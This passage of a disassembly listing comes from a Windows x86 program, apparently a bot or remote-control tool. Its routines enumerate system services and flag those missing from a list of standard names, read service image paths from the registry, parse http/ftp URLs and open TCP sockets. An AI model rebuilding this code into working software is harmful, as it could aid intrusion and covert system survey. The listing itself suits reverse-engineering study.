		call	ebp ; dword_50F874
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB78
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB7C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		call	near ptr 283076Ch
		nop


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+10h]
		add	edi, 4
		dec	eax
		mov	[esp+10h], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+1130h]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_42C		= byte ptr -42Ch
var_41C		= byte ptr -41Ch
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 2900971h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44433C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_444324
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi ; dword_50F710
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi ; dword_50F710
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp ; dword_50F75C
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+520h+var_4F4]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+520h+var_504]
		lea	ecx, [esp+520h+var_4FC]
		lea	edx, [esp+520h+var_404]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28E0000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+520h+var_4F4]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+520h+var_404]
		push	eax
		push	ecx
		lea	edx, [esp+528h+var_4F4]
		push	offset aSS_5	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+520h+var_4F4]
		lea	ecx, [esp+520h+var_42C]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+520h+arg_8]
		push	eax
		mov	[esp+524h+arg_0], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 291037Ch
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	near ptr 2880B30h
		nop
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB64, eax
		mov	eax, offset dword_50BB64
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi ; dword_50FAA0
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp ; dword_50FA98
		push	esi
		call	edi ; dword_50FAA0
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp ; dword_50FA98
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444410 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444410 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444410 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
